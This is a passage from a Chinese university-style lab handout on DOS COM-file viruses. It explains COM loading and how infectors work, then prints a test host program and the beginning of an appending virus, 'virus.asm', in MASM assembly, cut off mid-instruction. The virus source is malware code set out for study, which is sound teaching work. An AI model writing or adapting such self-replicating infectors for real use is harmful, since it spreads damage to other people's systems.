Com病毒实验文档.pdfVIP

COM病毒实验

【实验目的】

1、掌握COM病毒的传播原理。

2、掌握MASM611编译工具的使用。

【实验平台】

1、MS-DOS7.10

2、MASM611

【预备知识】

1、COM文件的特点

COM文件是DOS的一种二进制代码的可执行文件，COM文件结构比较简单，加载过

程十分迅速。整个程序只有一个段。因此全部代码长度必须小于64K，其入口代码地址是

CS:100H。DOS装入COM文件时，先在内存建立一个长度为100H的程序前缀段(PSP，由

DOS建立，是DOS用户程序和命令行之间的接口)，然后将整个文件装载于PSP上端，不

进行重定位操作，接着将四个段地址寄存器DS(DataSegment)，CS(CodeSegment)，SS(Stack

Segment)，ES(ExtraSegment)初始化为程序前缀段(PSP)的段地址，最后将程序的控制权交于

CS:100H处。如表一所示：

地址内容

XXXX:0000PSP←CS，DS，ES，SS

程序代

XXXX:0100←IP

码

数据

堆栈←SP

表1：COM病毒的装入和执行

2、病毒原理

COM病毒感染一般有两种途径，一种是将自身代码附加到宿主程序之前，病毒执行完后

恢复寄生程序原先的状态，并用JMPFAR等指令使程序再次回到CS:100H处，以确保寄生程

序与PSP的一致。但更为常见的病毒为采用保存文件头若干字节，并将第一条指令改为“JMP

病毒入口”，以确保病毒最先执行。病毒执行完后，会恢复并运行原文件，以便传播，当其

将原文件参数全部恢复后，会将控制权交于CS:100H处。

【试验内容】

本实验以尾部感染COM文件的病毒为例子，其中待感染COM文件“”、病毒

源文件“virus.asm”如下所示：

代码：

.modeltiny

programsegment

assumecs:program,ds:program,ss:program,es:program

org0100h

mainprocnear

MOVDX,offsetmessage

MOVAH,09h

INT21h

MOVAH,4Ch

INT21h

RET

messagedb0dh,Thisasimplecomprogramforatest,0dh,0ah,$

programends

END

代码virus.asm：

CSEGSEGMENT

ASSUMECS:CSEG,DS:CSEG,SS:CSEG

mainPROCNEAR

mainstart:

CALLvstart;病毒的代码开始处

vstart:

POPSI;得到当前地址

MOVBP,SI;保存当前地址

PUSHSI

MOVAH,9

ADDSI,OFFSETmessage-OFFSETvstart;显示预设字符串

MOVDX,SI

INT21h

POPSI

ADDSI,OFFSETyuan4byte-OFFSETvstart;取得原程序中的前四个字节

MOVDI,100h;目的地址

MOVAX,DS:[SI];开始复制

MOVDS:[DI],AX

INCSI

INCSI

INCDI；将yuan4byte处的4个字节复制到100处

INCDI

MOVAX,DS:[SI]

MOVDS:[DI],AX

MOVSI,BP;恢复地址值，将文件的头4个字节读入到yuan4byte处

MOVDX,OFFSETdelname-OFFSETv